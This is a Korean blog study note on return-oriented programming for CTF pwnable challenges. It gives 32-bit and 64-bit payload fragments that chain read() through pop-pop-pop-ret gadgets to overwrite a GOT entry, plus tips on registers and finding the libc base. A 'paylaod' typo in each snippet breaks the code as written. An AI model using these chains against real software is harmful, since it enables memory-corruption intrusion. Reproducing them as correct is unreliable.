본문 바로가기
Security_/pwnable

[Pwnable] ROP 정리 파일

by 낭람_ 2022. 1. 29.
반응형

32bit

# read(0, read_got, 0x4)
payload += p32(read_plt)	# 함수 이름 : read_plt
paylaod += p32(pppr)		# 인자 개수 : pop pop pop ret
payload += p32(0)		# 인자 1 : 0
payload += p32(read_got)	# 인자 2 : read_got
payload += p32(0x4)		# 인자 3 : 0x4

 

64bit

# read(0, read_got, 0x8)
paylaod += p64(pppr)		# 인자 개수 : pop pop pop ret
payload += p64(0)		# 인자 1 : 0
payload += p64(read_got)	# 인자 2 : read_got
payload += p64(0x8)		# 인자 3 : 0x8
payload += p64(read_plt)	# 함수 이름 : read_plt

 

read 함수의 경우 rdi, rsi, rdx 필요

  - 하지만, rdi, rsi 만 세팅 해줘도 된다. (rdx의 경우에는 주로 함수가 끝나면 큰 값으로 세팅 되어있다.)

  - 정확한 rdx를 넘겨주고 싶거나 rdx값이 작을 경우에는 pop rdx가젯을 찾거나 다른 방식으로 세팅해 주어야 한다.

 

libc 파일 검색 : https://libc.nullbyte.cat/?q=__libc_start_main_ret%3Ae81%2C_IO_2_1_stdin_%3A5c0

 

libc database search

 

libc.nullbyte.cat

 

libc base : 0x~000으로 끝난다.

0x~000으로 끝이 안난다. = libc 파일 또는 got의 주소를 잘못 찾은 것

반응형

'Security_ > pwnable' 카테고리의 다른 글

gdb - peda 설치방법  (1) 2022.02.01
[Pwnable] Gadget 구하기  (0) 2022.01.29
gcc 메모리 보호 기법 해제  (0) 2021.12.16
[Pwnable] pwnable 문서 모음  (0) 2019.01.27
[Pwnable] Fake EBP 정리  (0) 2018.11.06

댓글